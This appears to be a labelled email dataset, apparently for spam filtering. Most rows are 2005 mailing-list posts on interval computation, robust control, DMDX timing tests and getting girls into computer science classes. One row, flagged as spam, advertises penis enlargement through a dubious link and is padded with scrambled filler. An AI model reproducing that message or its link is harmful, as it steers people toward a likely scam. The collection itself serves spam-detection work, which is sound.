Algorithms for Analysis and Control of Uncertain Systems Lecturer: Roberto Tempo IEIIT-CNR Politecnico di Torino, Italy tempo@polito.it Date: March 14-18, 2005 Place : Dept. Ing. de Sistemas y Automatica Escuela Superior de Ingenieros, Univ. Sevilla, Spain Summary This course concentrates on nonstandard tools for control of uncertain systems with main emphasis on the interplay of probability and robustness. The objective is to combine hard bounds, which are frequently used in classical robust control, with probabilistic information which is often neglected in this context. The main advantage is to provide additional insight to the control engineer. This insight may be very useful in analyzing and designing complex control systems in the presence of uncertainty. The interplay of probability and robustness also leads to innovative concepts such as the probabilistic robustness margin and the probability degradation function. The algorithms obtained are low complexity (polynomial-time) and are associated to robustness bounds which are generally less conservative than the classical ones, obviously at the expense of a small risk expressed in probability. These algorithms are usually called ""randomized algorithms."" In the first part of the course, we concentrate on analysis and, in particular, we address the issue of finite sample size. Subsequently, we present results for sample generation in various norm-bounded sets of interest in robust control. These results are based on methods of statistical analysis and of the theory of random matrices. The construction of specific randomized algorithms concludes this part of the course. In the second part, we study probabilistic robust design of uncertain systems. We show how this problem can be formulated in the context of classical optimal control and then we discuss how randomization and stochastic gradient methods can be successfully used. We also consider extensions of this approach to linear parameter-varying systems. Other topics that will be addressed is the design of randomized algorithms for model predictive control and for robust fault-tolerant control. The course will end with a description of a number of open problems which may be important to consider in the near future. The course is focused on the exposition of the theoretical developments as well as on simulations showing the efficacy of these techniques. Main list of topics - Preliminaries and Motivations for a Probabilistic Approach - Uncertain Systems - The Interplay of Probability and Robustness - Randomized Algorithms - Sample Size Bounds and Statistical Learning Theory - Sample Generation Theory - Probabilistic Robust Design with Linear Quadratic Regulators - Probabilistic Design for Linear Parameter-Varying Systems - Randomized Algorithms for Model Predictive Control - Applications (robustness of high-speed networks, stability of quantized sampled-data systems, performance of flexible structures) - Discussion of Open Research Problems The course is funded by the Spanish Ministry of Education and and no fees will be charged. The number of places is limited and a first in first served system will be used. Registration: e-mail to eduardo@esi.us.es ------------- End Forwarded Message -------------",0,0 """G. William Walster"" ",Ray Moore ,"Wed, 16 Feb 2005 08:48:44 -0800",Re: a book of potential interest to interval researchers,"I agree. I have ordered it from Amazon. Perhaps the authors don't know about intervals. Many people still do not. The encouraging thing is that even point people are starting to realize the importance of input uncertainty. This can only be good for us. :) Cheers, Bill P.S. If nothing else, this is a source of good examples for you to use in your talk. :) Ray Moore wrote: > It seems odd to me that there is no mention of interval computation in > the book. > > Ray Moore > > ----- Original Message ----- From: ""Vladik Kreinovich"" > To: > Cc: > Sent: Wednesday, February 16, 2005 12:27 AM > Subject: a book of potential interest to interval researchers > > >> Forwarding, from NA Digest >> ****************************************** >> From: Jan Chleboun >> Date: Wed, 9 Feb 2005 12:09:50 +0100 (CET) >> Subject: New Book on Uncertain Input Data >> >> Uncertain Input Data Problems and the Worst Scenario Method >> by Ivan Hlavacek, Jan Chleboun, and Ivo Babuska; >> North-Holland Series in Applied Mathematics and Mechanics, Volume 46, >> Elsevier, Amsterdam, December 2004. >> Hardback, xxvi+458 pages, ISBN: 0-444-51435-X >> >> This book deals with the impact of uncertainty in input data on the >> outputs of mathematical models. Uncertain inputs as scalars, tensors, >> functions, or domain boundaries are considered. In practical terms, >> material parameters or constitutive laws, for instance, are uncertain, >> and >> quantities as local temperature, local mechanical stress, or local >> displacement are monitored. The goal of the worst scenario method is to >> extremize the quantity over the set of uncertain input data. >> >> A general mathematical scheme of the worst scenario method, including >> approximation by finite element methods, is presented, and then >> applied to >> various state problems modeled by differential equations or variational >> inequalities: nonlinear heat flow, Timoshenko beam vibration and >> buckling, >> plate buckling, contact problems in elasticity and thermoelasticity with >> and without friction, and various models of plastic deformation, to list >> some of the topics. Dozens of examples, figures, and tables are included. >> >> More details can be found at >> http://books.elsevier.com/elsevier/?isbn=044451435X >> >> Jan Chleboun >> Mathematical Institute >> Academy of Sciences >> Zitna 25 ( TeX: \\v{Z}itn\\'a ) >> 115 67 Prague 1 >> Czech Republic >> e-mail: chleb@math.cas.cz >> >> >",0,1 """G. William Walster"" ",Ray Moore ,"Wed, 16 Feb 2005 08:49:58 -0800",P.S.," P.S. Did you have any comments about the short note I sent regarding the use of Popper's ideas? Cheers, Bill ",0,0 """G. William Walster"" ",Bill.Walster@sun.com,"Wed, 16 Feb 2005 09:04:05 -0800",Re: P.S.," Sorry, everybody, but Ray. I intended this only for him, for now. The note I referred to is still a ""work in progress"". Nevertheless, I would appreciate any feedback regarding it. Thanks in advance, Bill G. William Walster wrote: > > P.S. > > Did you have any comments about the short note I sent > regarding the use of Popper's ideas? > > Cheers, > > Bill > ",0,0 """CJ Davis, Experimental Psychology"" ",DMDX@psy1.psych.arizona.edu,"Wed, 16 Feb 2005 18:47:22 +0000",[DMDX] enhanced rate detection test,"Hi, Thanks for replies to my previous message about choosing different refresh rates -- I've now discovered that a new video card was required (we got a Sapphire Radeon 7000). My next question concerns the Enh. Retrace test in TimeDX. As I understand it, this is the gold standard: if the screen is split into two (stationary) equal halves, then the estimated refresh rate is correct (even if there are some timed out traces). The two halves should be red and blue. However, on some computers (using 8 bit color depth), I find that the two halves are red and black. Does this matter? Thanks, Colin ---------------------- Dr. Colin J Davis, Dept. of Experimental Psychology, University of Bristol, 8 Woodland Rd, Bristol BS8 1TN Colin.Davis@bristol.ac.uk ph. +44 (0117) 928 9199 fax +44 (0117) 928 8588 ",0,0 Vladik Kreinovich ,Bill.Walster@sun.com,"Wed, 16 Feb 2005 12:20:06 -0700",Re: P.S.,"Correction about monotonicity: If the function is monotonic in each of the variables, you do not need 2^n computations, only n+3 to find the range: first, you modify the 1st variable to see if the function if the function is increasing or decreasing over x1; then you change the 2nd variable only to see whether it is increasing or decreasing over x2, etc. After n such calls to f, you know where exactly f attains its maximum and where it attains its minimum, so you need 2 calls to f to find both upper endpoint and lower endpoint of the range. > Date: Wed, 16 Feb 2005 09:04:05 -0800 > From: ""G. William Walster"" > Subject: Re: P.S. > To: Bill.Walster@sun.com > Cc: Ray Moore , Vladik Kreinovich , reliable_computing@interval.louisiana.edu, chleb@math.cas.cz > MIME-version: 1.0 > X-Accept-Language: en-us, en > User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7) Gecko/20040616 > > > > Sorry, everybody, but Ray. > > I intended this only for him, for now. > > The note I referred to is still a ""work in progress"". > > Nevertheless, I would appreciate any feedback regarding it. > > Thanks in advance, > > Bill > > > G. William Walster wrote: > > > > > P.S. > > > > Did you have any comments about the short note I sent > > regarding the use of Popper's ideas? > > > > Cheers, > > > > Bill > > > ------------- End Forwarded Message -------------",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Wed, 16 Feb 2005 12:41:18 -0700",NAFIPS'05 deadline extended," Dear Friends, I have just learned that the deadline for submitting papers to Annual Conference of North American Information Processing Society NAFIPS'05, Ann Arbor, Michigan, June 22-25, 2005, has been extended to February 28, 2005. Because of the close connection between interval and fuzzy methods, this conference is always very much interested in interval-related talks. Just in case, the conference URL is http://www.nafips05.wayne.edu ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 16 Feb 2005 14:41:55 -0700",[DMDX] Re: enhanced rate detection test,"At 06:47 PM 2/16/2005 +0000, you wrote: >Hi, > >Thanks for replies to my previous message about choosing different refresh >rates -- I've now discovered that a new video card was required (we got a >Sapphire Radeon 7000). My next question concerns the Enh. Retrace test in >TimeDX. As I understand it, this is the gold standard: if the screen is >split into two (stationary) equal halves, then the estimated refresh rate >is correct (even if there are some timed out traces). The two halves >should be red and blue. However, on some computers (using 8 bit color >depth), I find that the two halves are red and black. Does this matter? Yes. Don't use 8 bit video modes. Ever. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #36. Bacteria need vitamin B. ",0,0 Andrzej Pownuk ,reliable_computing@interval.louisiana.edu,"Wed, 16 Feb 2005 22:31:37 +0100",RE: a book of potential interest to interval researchers,"Dear interval researchers, I have general question related to the problem, what is interval arithmetic and what is not interval arithmetic. As far as I know interval arithmetic is based on the functions with interval parameters in the following form: z=f(x) e.g. [-1, 1] = sin([-10, 10]) or z=f(x,y) e.g. [2,5]=+([1,2],[1,3]) or [2,5]=[1,2]+[1,3] [1,6]=*([1,2],[1,3]) or [1,6]=[1,2]*[1,3] i.e. f=+,-,*,/. However, according to my knowledge in most of the books which are related to interval arithmetic there are information about systems of linear interval equations. In this case relation between input and output interval parameters is much more complicated. Y=hull{{x: Ax=B, A belong to [A], B belong to [B]} We have also united solution set, tolerable solution set, controllable solution set etc. My question is. **************************************************************************** Does theory of systems of linear interval equations belong to interval arithmetic or not? **************************************************************************** If more complicated relations on intervals (e.g. system of linear interval equations) also belong to interval arithmetic then maybe all functions on intervals are some extensions of interval arithmetic. I suspect that the authors of the presented book (i.e. Uncertain Input Data Problems and the Worst Scenario Method) work on some functions with intervals or set valued parameters (I am not sure, I do not know that book). Then from that point of view they are working on some extension of interval arithmetic. Regards, Andrzej Pownuk --------------------------------------------- Ph.D., research associate at: Chair of Theoretical Mechanics Faculty of Civil Engineering Silesian University of Technology ul. Krzywoustego 7 44-100� Gliwice, Poland Tel/fax: 0048 32 2371542 Mobile:� 0048 606 550147 URL:��� http://zeus.polsl.gliwice.pl/~pownuk E-mail: pownuk@zeus.polsl.gliwice.pl --------------------------------------------- I agree. I have ordered it from Amazon.� Perhaps the authors don't know about intervals.� Many people still do not. The encouraging thing is that even point people are starting to realize the importance of input uncertainty.� This can only be good for us. :) Cheers, Bill P.S. If nothing else, this is a source of good examples for you to use in your talk. :) Ray Moore wrote: > It seems odd to me that there is no mention of interval computation in > the book. > > Ray Moore > > ----- Original Message ----- From: ""Vladik Kreinovich"" > To: > Cc: > Sent: Wednesday, February 16, 2005 12:27 AM > Subject: a book of potential interest to interval researchers > > >> Forwarding, from NA Digest >> ****************************************** >> From: Jan Chleboun >> Date: Wed, 9 Feb 2005 12:09:50 +0100 (CET) >> Subject: New Book on Uncertain Input Data >> >> Uncertain Input Data Problems and the Worst Scenario Method >> by Ivan Hlavacek, Jan Chleboun, and Ivo Babuska; >> North-Holland Series in Applied Mathematics and Mechanics, Volume 46, >> Elsevier, Amsterdam, December 2004. >> Hardback, xxvi+458 pages, ISBN: 0-444-51435-X >> >> This book deals with the impact of uncertainty in input data on the >> outputs of mathematical models. Uncertain inputs as scalars, tensors, >> functions, or domain boundaries are considered. In practical terms, >> material parameters or constitutive laws, for instance, are uncertain, >> and >> quantities as local temperature, local mechanical stress, or local >> displacement are monitored. The goal of the worst scenario method is to >> extremize the quantity over the set of uncertain input data. >> >> A general mathematical scheme of the worst scenario method, including >> approximation by finite element methods, is presented, and then >> applied to >> various state problems modeled by differential equations or variational >> inequalities: nonlinear heat flow, Timoshenko beam vibration and >> buckling, >> plate buckling, contact problems in elasticity and thermoelasticity with >> and without friction, and various models of plastic deformation, to list >> some of the topics. Dozens of examples, figures, and tables are included. >> >> More details can be found at >> http://books.elsevier.com/elsevier/?isbn=044451435X >> >> Jan Chleboun >> Mathematical Institute >> Academy of Sciences >> Zitna 25� ( TeX: \\v{Z}itn\\'a ) >> 115 67 Prague 1 >> Czech Republic >> e-mail: chleb@math.cas.cz >> >> >",0,1 """Leese, MJ (Mark)"" ","""nmwg (E-mail)"" ","Wed, 16 Feb 2005 20:45:24 -0000",[nm-wg] my Salt Lake slides,"Hi folks, For those interested, here are my slides for today's session at the Joint Techs meeting in Salt Lake City. Cheers, Mark. ",0,0 """R. Baker Kearfott"" ","Andrzej Pownuk , reliable_computing@interval.louisiana.edu","Wed, 16 Feb 2005 15:49:44 -0600",RE: a book of potential interest to interval researchers,"All, If the criterion to ""belonging"" to interval arithmetic is whether or not interval researchers work on it, then the result is a resounding ""yes."" Ask Jiri Rohn, G{\\""o}tz Alefeld, or Sergey Shary, (among others) for example. I view ""interval arithmetic"" as striving to compute sharp bounds on ranges, in a way that takes account of machine arithmetic. This may, at times, go beyond use of the pre-programmed four basic ""arithmetic"" operations; I think the goal should take us wherever is appropriate, and we should not get too stuck on what the subject is called, except, of course, if it would otherwise lead to technical confusion, or for promotional purposes :-) Best regards, Baker At 10:31 PM 2/16/2005 +0100, Andrzej Pownuk wrote: >Dear interval researchers, > >I have general question related to the problem, >what is interval arithmetic and what is not interval arithmetic. > >As far as I know interval arithmetic >is based on the functions with interval parameters in the following form: > >z=f(x) e.g. [-1, 1] = sin([-10, 10]) > >or > >z=f(x,y) >e.g. >[2,5]=+([1,2],[1,3]) or [2,5]=[1,2]+[1,3] > >[1,6]=*([1,2],[1,3]) or [1,6]=[1,2]*[1,3] > >i.e. f=+,-,*,/. > >However, according to my knowledge >in most of the books which are related to interval arithmetic >there are information about systems of linear interval equations. >In this case relation between input and output interval parameters is much >more complicated. > >Y=hull{{x: Ax=B, A belong to [A], B belong to [B]} > >We have also united solution set, tolerable solution set, >controllable solution set etc. > >My question is. > >**************************************************************************** >Does theory of systems of linear interval equations belong >to interval arithmetic or not? >**************************************************************************** > >If more complicated relations on intervals >(e.g. system of linear interval equations) also belong >to interval arithmetic >then maybe all functions on intervals are some extensions >of interval arithmetic. > >I suspect that the authors of the presented book >(i.e. Uncertain Input Data Problems and the Worst Scenario Method) >work on some functions with intervals or set valued parameters >(I am not sure, I do not know that book). >Then from that point of view >they are working on some extension of interval arithmetic. > >Regards, > >Andrzej Pownuk > >--------------------------------------------- >Ph.D., research associate at: >Chair of Theoretical Mechanics >Faculty of Civil Engineering >Silesian University of Technology >ul. Krzywoustego 7 >44-100  Gliwice, Poland > >Tel/fax: 0048 32 2371542 >Mobile:  0048 606 550147 > >URL:    http://zeus.polsl.gliwice.pl/~pownuk >E-mail: pownuk@zeus.polsl.gliwice.pl >--------------------------------------------- > >I agree. > >I have ordered it from Amazon.  Perhaps the authors don't know >about intervals.  Many people still do not. > >The encouraging thing is that even point people are starting >to realize the importance of input uncertainty.  This can only >be good for us. :) > >Cheers, > >Bill > >P.S. If nothing else, this is a source of good examples for >you to use in your talk. :) > > >Ray Moore wrote: > >> It seems odd to me that there is no mention of interval computation in >> the book. >> >> Ray Moore >> >> ----- Original Message ----- From: ""Vladik Kreinovich"" > >> To: >> Cc: >> Sent: Wednesday, February 16, 2005 12:27 AM >> Subject: a book of potential interest to interval researchers >> >> >>> Forwarding, from NA Digest >>> ****************************************** >>> From: Jan Chleboun >>> Date: Wed, 9 Feb 2005 12:09:50 +0100 (CET) >>> Subject: New Book on Uncertain Input Data >>> >>> Uncertain Input Data Problems and the Worst Scenario Method >>> by Ivan Hlavacek, Jan Chleboun, and Ivo Babuska; >>> North-Holland Series in Applied Mathematics and Mechanics, Volume 46, >>> Elsevier, Amsterdam, December 2004. >>> Hardback, xxvi+458 pages, ISBN: 0-444-51435-X >>> >>> This book deals with the impact of uncertainty in input data on the >>> outputs of mathematical models. Uncertain inputs as scalars, tensors, >>> functions, or domain boundaries are considered. In practical terms, >>> material parameters or constitutive laws, for instance, are uncertain, >>> and >>> quantities as local temperature, local mechanical stress, or local >>> displacement are monitored. The goal of the worst scenario method is to >>> extremize the quantity over the set of uncertain input data. >>> >>> A general mathematical scheme of the worst scenario method, including >>> approximation by finite element methods, is presented, and then >>> applied to >>> various state problems modeled by differential equations or variational >>> inequalities: nonlinear heat flow, Timoshenko beam vibration and >>> buckling, >>> plate buckling, contact problems in elasticity and thermoelasticity with >>> and without friction, and various models of plastic deformation, to list >>> some of the topics. Dozens of examples, figures, and tables are included. >>> >>> More details can be found at >>> http://books.elsevier.com/elsevier/?isbn=044451435X >>> >>> Jan Chleboun >>> Mathematical Institute >>> Academy of Sciences >>> Zitna 25  ( TeX: \\v{Z}itn\\'a ) >>> 115 67 Prague 1 >>> Czech Republic >>> e-mail: chleb@math.cas.cz >>> >>> >> > > > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA ---------------------------------------------------------------",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, andrzej.pownuk@polsl.pl","Wed, 16 Feb 2005 16:02:50 -0700",RE: a book of potential interest to interval researchers,"Dear Andrzej, Just one comment to what Baker said: united solution set is EXACTLY what interval computations is about. In general, one of the main problems of interval computation is, given a function f(x1,...,xn) and intervals [x1],...,[xn], find teh range of f on these intervals. For linear equations, the inputs are coefficients of the matrix A and of the right-hand side b, and i-th function is a function that, given A and b, returns i-th component of the solution. Then the range of this function is exactly i-th component of the united solution set. This is, by the way, how we introduce linear systems in our complexity of interval computations book (written with Jiri Rohn). Vladik > From: ""Andrzej Pownuk"" > To: > Subject: RE: a book of potential interest to interval researchers > Date: Wed, 16 Feb 2005 22:31:37 +0100 > X-Priority: 3 (Normal) > X-MSMail-Priority: Normal > X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 > Importance: Normal > X-OriginalArrivalTime: 16 Feb 2005 21:31:33.0961 (UTC) FILETIME=[E3230B90:01C5146E] > > Dear interval researchers, > > I have general question related to the problem, > what is interval arithmetic and what is not interval arithmetic. > > As far as I know interval arithmetic > is based on the functions with interval parameters in the following form: > > z=f(x) e.g. [-1, 1] = sin([-10, 10]) > > or > > z=f(x,y) > e.g. > [2,5]=+([1,2],[1,3]) or [2,5]=[1,2]+[1,3] > > [1,6]=*([1,2],[1,3]) or [1,6]=[1,2]*[1,3] > > i.e. f=+,-,*,/. > > However, according to my knowledge > in most of the books which are related to interval arithmetic > there are information about systems of linear interval equations. > In this case relation between input and output interval parameters is much > more complicated. > > Y=hull{{x: Ax=B, A belong to [A], B belong to [B]} > > We have also united solution set, tolerable solution set, > controllable solution set etc. > > My question is. > > **************************************************************************** > Does theory of systems of linear interval equations belong > to interval arithmetic or not? > **************************************************************************** > > If more complicated relations on intervals > (e.g. system of linear interval equations) also belong > to interval arithmetic > then maybe all functions on intervals are some extensions > of interval arithmetic. > > I suspect that the authors of the presented book > (i.e. Uncertain Input Data Problems and the Worst Scenario Method) > work on some functions with intervals or set valued parameters > (I am not sure, I do not know that book). > Then from that point of view > they are working on some extension of interval arithmetic. > > Regards, > > Andrzej Pownuk",0,0 Anne Martin ,AP Computer Science ,"Tue, 15 Feb 2005 17:30:07 -0500",[ap-compsci] Re: Attracting women to computing,"Funny, but not really. This is a lament I've heard from girls quite a bit. And, at the high school level, many boys are still in the zit stage - a BIG problem for boys who pick on junk food and stay planted in front of their computers or video games. One contribution I try to make is to encourage all my students to find some outdoor activities they can enjoy (camping, hiking, biking, any outdoor sport, walking, skiing, etc.etc.) and get the heck away from the computer for a while at least every week. Field trips and excursions outside the building are also helpful whenever opportunity arises and time permits. Also, the endless supply of black t-shirts, sweatshirts, and pants are not all that attractive to girls either. Discussions on these health and hygiene issues are appreciated quietly by all... I've got 3 girls in a class of 21... and 2 in a class of 13 ... it's a start.... there were zero girls 3 years ago. Anne Shevrin MCTI Computer Programming ashevrin@mcavts.org >>> CowderyT@district87.org 02/15/05 09:26AM >>> Maybe the secret is to recruit better looking boys. (Sorry - couldn't resist) Thomas W. Cowdery Mathematics Department Bloomington High School cowderyt@district87.org http://www.district87.org/staff/cowderyt/ > -----Original Message----- > From: Jason Cordes [mailto:cordes@gmail.com] > Sent: Sunday, February 13, 2005 7:55 PM > To: AP Computer Science > Subject: [ap-compsci] Re: Attracting women to computing > > > My current issue is keeping the boys in class from hitting on > the girls. > That's driving away many of my best girls. > > -- > Jason Cordes > Teacher (Computer Science, Web Design) > http://www.frenzy.com/~jaebear > http://mail.bryanisd.org/~jcordes > > --- > You are currently subscribed to ap-compsci as: COWDERYT@district87.org > > To unsubscribe send a blank email to > leave-ap-compsci@lyris.collegeboard.com > > To update your preferences, search the archives or post > messages online, visit > http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboa > rd&enter=ap-compsci > > If you need help using Lyris web interface go to: > http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html > > Visit AP Central(tm) - The online resource for teachers, > schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 --- You are currently subscribed to ap-compsci as: ashevrin@mcavts.org To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Eleanor Hare ,AP Computer Science ,"Tue, 15 Feb 2005 23:44:57 -0500",[ap-compsci] Re: Attracting women to CS,"I believe that the single issue that most causes women to drop out of computer science classes is their perception that computer scientists spend all their time in front of a computer screen and in semi-isolation. If we could convince women early in their academic careers that some computer scientists really do work with people, I think we would retain more of them. Unfortunately, our courses are rarely structured for anything other than many long hours alone with a pc. Another problem can be teachers who (1) expect that students should not be interested in anything other than computers and (2) focus on ""shoot-em-up"" projects and/or inappropriate ways of presenting concepts. Eleanor Hare ehare@clemson.edu --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Leigh Ann Sudol ,AP Computer Science ,"Wed, 16 Feb 2005 11:18:10 -0500",[ap-compsci] Re: Attracting women to CS,"Ok, I need to offer up my own humble opinion here. To give you a little background I have been teaching CS here at a mid sized (1200) student high school in Westchester County NY for the past 6 years. I also have a robotics club at the school as well. My CS classes have balanced out to mostly half and half girls and boys and my robotics club has a 1/4 ratio 6 girls and 18 boys with the girls taking leadership roles (3 robot captains out of 7 robots). Not many of my girls are hard core nerds. They in fact are multi talented and one of my robot captains is actually going to college as a theater and arts major. I don't call for the de-emphasis of math - quite the opposite - I call for the demystification of math. We don't ask teachers to downplay the writing and communication skills in other classes - but how often do we ask students to write us a paper on the layout of the desks in the room? Yes the early programs that use simple mathematical equations such as converting temperature and finding interest serve a purpose, however they are as rote as asking students to write a paper that describes the back of the door frame where each student is expected to write the exact same paper. The girls get excited about programming (as others have said) when they learn how it applies to the larger picture. They want to feel like they are doing something useful - whether that contains math or not is fine. The nit-picky errors that frequent programs I often compare to puzzles - and I tell my students on the first day that if they don't enjoy working on puzzles they probably wont enjoy the class. Each program is a challenge - and just like a puzzle you don't ""lose"" if you don't put the pieces together exactly right the first time - instead you try a piece and if it doesn't work you lay it aside and try another. Too often the thought of being successful on the first try has been drilled into all students' heads and the girls often take it much more to heart. They feel that they should be able to do it perfectly the first time around and when they cant they feel like they have failed. A computer science classroom should be a place where students feel comfortable with trying and puzzling things out. The atmosphere should be one that welcomes frustration and where the teacher shares current and past attempts at coding as well as the correct information. It has to be ok to not put the perfect piece in the first time. This is one thing I find that underlies a lot of the girls continuing with more than the intro level course. And then word of mouth gets out that it's not so bad and the girl enrollment grows. Sorry for the rant, just thought I wanted to add my own two cents. Leigh Ann Sudol Fox Lane HS Bedford, NY http://education.sudol.com -----Original Message----- From: David.Green@dpsnc.net [mailto:David.Green@dpsnc.net] Sent: Tuesday, February 15, 2005 12:22 PM To: AP Computer Science Subject: [ap-compsci] Re: Attracting women to CS Barb Ericson makes an eloquent plea for non-picky programming. << .... One of the things that turns people off of computing courses is an overemphasis on math. Yes, computing uses math, but it doesn't have to be the main focus of the course. Just how interesting is coverting temperatures or calculating sales tax? To most students this is very boring stuff. At Georgia Tech we are using media manipulation to teach an intro course and many students (especially women) are finding it more interesting than the usual assignments. It also allows people to do creative assignments with their own pictures and sounds. .... >> It always amazes me that one NEVER sees a college professor make a plea that a course should reduce its reading or writing but it is OK to deemphasize the single greatest tool ever invented to communicate quantitative ideas (math). Why is that?? I do not understand?? In the same paragraph above one sees the phrase ""media manipulation"" which in my limited understanding of English means almost nothing. One meaning could be manipulation of graphics objects on the screen. If this is the case, there is a tremendous amount of math going on under the skin. Do the kids learn how to do the manipulations without ever learning HOW they are actually accomplished? BTW: I am doing this form of ""media manipulation"" in my AP class right now as a sneaky way to make inheritance and polymorphism a tiny bit clearer (I hope). BTW2: They have a starter toolbox that includes scaling and rotation and Orbiting that all use math I assume they will learn other places so I guess I am agreeing with Barb that sometimes it is good to deemphsize the math for other points. The kids seem perfectly happy to use the toolbox as a ""black box"". BTW3: I am conflicted - I personnally hate to use tools (especially computer tools) that I don't have a clear understanding of their internals BUT I do it all the time. I don't really have a clue how the clever folks at MS handle the windowing of a word document and I TAUGHT one of the lead programmers on that project (he worked from late 80's into the mid-late 90's when he retired!!) David Green Physics and Computer Science Teacher at Jordan HS (919) 560-3912 x12300 --- You are currently subscribed to ap-compsci as: ljervis@bedford.k12.ny.us To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-co mpsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992",0,1 Michael Trigoboff ,AP Computer Science ,"Tue, 15 Feb 2005 17:07:56 -0800",[ap-compsci] Re: Attracting women to CS," At 05:55 AM 2/14/2005, you wrote: >Several people have posted that you have to really 'love' programming and >you have to be able to handle the 'picky details' to be in computing. >This is true if you want to be a professional programmer. It isn't >necessarily true if you want a carrer in computing. Many computer >scientist don't program. OK, but what's a ""computer scientist""? If it means that you've got (at least) an undergraduate degree in Computer Science, then you will have succeeded in a program that contains A LOT of programming, and A LOT of those picky details. >This is somewhat like saying you have to love to read to be a literature >professor. Certainly you need to know how to read but that isn't the most >important thing. It's necessary, but not sufficient. As far as I know, there are no illiterate literature professors. I don't think there should be Computer Science professors who can't program. >One of the things that surprises comp sci majors is how creative computing >is once they get past the early courses. We need to show that it can be >creative before people lose interest in it. > >Yes, there is a certain amount of picky detail in programming. But, we >can create assignments that allow for creativity and don't just focus on >the picky details. Computing can and should be fun. Computers let us >create all sorts of things. While I agree we should be as creative as possible, we should also avoid creating the illusion that computing is a kind and forgiving area of endeavor. Logic is a ferociously difficult medium to work in. Your code will turn around and bite your head off any chance it gets (I've experienced this personally, a number of times), and the only way to control this is by getting all those picky details right. >One of the things that turns people off of computing courses is an >overemphasis on math. I agree that math can be overemphasized. I don't do this in my teaching. But what I think cannot be overemphasized is the true nature of programming. Unless you're advocating the creation of two separate castes of Computer Scientists (the programmers and the non-programmers), a career in computing is going to REQUIRE that you master programming with all its picky difficulties. If there were two such castes, I think it's obvious which one would have the higher status. >At Georgia Tech we are using media manipulation to teach an >intro course and many students (especially women) are finding it more >interesting than the usual assignments. It also allows people to do >creative assignments with their own pictures and sounds. There's a difference (using the automobile as a metaphor) between a DRIVER and a MECHANIC. It sounds like you're training drivers in this course. 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Is there anything a bit more modern that combines the versatility of UniCalc with a more modern interface, and presumably updated algorithms, such as those found in GrafEq? - Wayne Hayes ",0,1 Jan Chleboun ,Vladik Kreinovich ,"Thu, 17 Feb 2005 09:35:00 +0100",Re: a book of potential interest to interval researchers,"Dear Professors Kreinovich, Moore, Pardalos, and Walster, > It seems odd to me that there is no mention of interval computation in > the book. > You are right, interval arithmetic is only briefly mentioned at page xx and page 9 of the book. However, intervals instead of crisp values appear in Timoshenko beam problems or a plasticity model, for instance. The related mathematical problems are solved analytically or numerically using standard computer arithmetic. With best regards, Jan Chleboun ****************************** Jan Chleboun Mathematical Institute Academy of Sciences Zitna 25 ( TeX: \\v{Z}itn\\'a ) 115 67 Prague 1 Czech Republic e-mail: chleb@math.cas.cz ****************************** ",0,0 Kenneth ,Devon ,"Thu, 17 Feb 2005 05:43:33 -0200",Happy with urself,"Heya Devon, Milton suggested to me that you wanted 2 fatten your johnson. Stop by at www.verandseeitforisand.org/taw/ to achieve that. information find His that Adas home. he wrote came out of him naturally. He felt this On poem urge his way to write and felt the excitement when he wrote Hope is was of some help. Kenneth. ",1,0 Salvador Soto ,DMDX@psy1.psych.arizona.edu,"Thu, 17 Feb 2005 15:31:34 